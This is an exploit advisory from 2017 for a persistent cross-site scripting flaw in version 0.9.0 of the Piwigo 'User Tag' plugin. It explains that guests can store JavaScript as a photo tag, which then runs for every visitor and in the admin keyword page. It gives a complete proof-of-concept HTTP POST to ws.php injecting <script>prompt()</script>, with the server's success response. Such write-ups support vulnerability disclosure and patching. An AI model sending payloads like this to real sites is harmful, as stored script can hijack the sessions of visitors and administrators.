Piwigo Plugin User Tag 0.9.0 – Cross-Site Scripting
# Exploit Title: Piwigo plugin User Tag , Persistent XSS # Date: 10 Aug, 2017 # Extension Version: 0.9.0 # Software Link: http://piwigo.org/basics/downloads # Extension link : http://piwigo.org/ext/extension_view.php?eid=441 # Exploit Author: Touhid M.Shaikh # Contact: http://twitter.com/touhidshaikh22 # Website: http://touhidshaikh.com/ # Category: webapps ######## Description ######## <!-- What is Piwigo ? Piwigo is photo gallery software for the web, built by an active community of users and developers.Extensions make Piwigo easily customizable.Piwigo is a free and open source. User Tag Extension in piwigo. This plugin extends piwigo with the function to Allow visitors to add tags to photos. ############ Requrment ############## Admin Must allow to user or guest for a tag in User Tag plugin option. ######## Attact Description ######## <!-- User Tag Extension provides additional function on photo page for the user to tag any name of that image. NOTE: "test.touhidshaikh.com" this domain not registered on the internet. This domain host on local machine. ==>START<== Any guest visitor or registered user can perform this. User Tag Extension adds an additional field(Keyword) on photo pages that let you tag a User Tag on the picture for visitor and registered user. click on that Field after that fill input text box with malicious code javascript and press Enter its stored as a User Tag keyword. Your Javascript Stored in Server's Database and execute every time when any visitor visit that photo. NOte: This is also executed in admin's dashboard when admin visit keyword page. --> ######## Proof of Concept ######## *****Request***** POST /ws.php?format=json&method=user_tags.tags.update HTTP/1.1 Host: test.touhidshaikh.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-GB,hi;q=0.8,ar;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://test.touhidshaikh.com/picture.php?/4/category/1 Content-Length: 83 Cookie: _ga=GA1.2.392572598.1501252105; pwg_id=gsf3gp640oupaer3cjpnl22sr0 Connection: close image_id=4&referer=picture.php%3F%2F4%2Fcategory%2F1&tags=<script>prompt()</script> ************************************************** ******Response******** HTTP/1.1 200 OK Date: Thu, 10 Aug 2017 11:36:24 GMT Server: Apache/2.4.27 (Debian) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 46 Connection: close Content-Type: text/plain; charset=utf-8 {"stat":"ok","result":{"info":"Tags updated"}} **************************************************** #################################################### Greetz: Thank You, All my Friends who support me. ;) |